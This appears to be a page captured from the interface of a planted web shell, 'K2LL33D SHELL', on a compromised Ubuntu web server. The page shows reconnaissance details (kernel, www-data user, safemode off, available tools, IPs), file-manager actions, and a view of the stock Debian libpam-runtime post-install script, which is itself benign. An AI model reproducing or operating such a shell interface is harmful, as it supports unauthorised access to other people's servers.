K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / lib / dpkg / info /
server ip : 104.21.89.46

your ip : 172.69.130.125

H O M E


Filename/var/lib/dpkg/info/libpam-runtime.postinst
Size1.25 kb
Permissionrwxr-xr-x
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified01-Feb-2014 06:22
Last accessed06-Jul-2025 22:03
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
#!/bin/sh -e

. /usr/share/debconf/confmodule

calculate_md5sum()
{
configfile="$1"
sed -n -e'1,/# here are the per-package modules (the "Primary" block)/p;
/# here.s the fallback if no module succeeds/,/# and here are more per-package modules (the "Additional" block)/p;
/# end of pam-auth-update config/,$p' \
/etc/pam.d/"$configfile" | md5sum | awk '{ print $1 }'
}

# If the user has removed the config file, respect this sign of dementia
# -- only create on package install.
force=
if [ -z "$2" ] || dpkg --compare-versions "$2" lt 1.0.1-11
then
force=--force
for configfile in common-auth common-account common-session \
common-password
do
if [ -f /etc/pam.d/$configfile ] && \
! fgrep -q $(calculate_md5sum $configfile) \
/usr/share/pam/$configfile.md5sums 2>/dev/null
then
force=
fi
done
fi

pam-auth-update --package $force

if [ -n "$force" ]; then
rm -f /etc/pam.d/common-auth.pam-old \
/etc/pam.d/common-account.pam-old \
/etc/pam.d/common-password.pam-old \
/etc/pam.d/common-session.pam-old
elif dpkg --compare-versions "$2" lt-nl 1.1.0-1 \
&& [ ! -e /etc/pam.d/common-session-noninteractive ]
then
cp -a /etc/pam.d/common-session /etc/pam.d/common-session-noninteractive
fi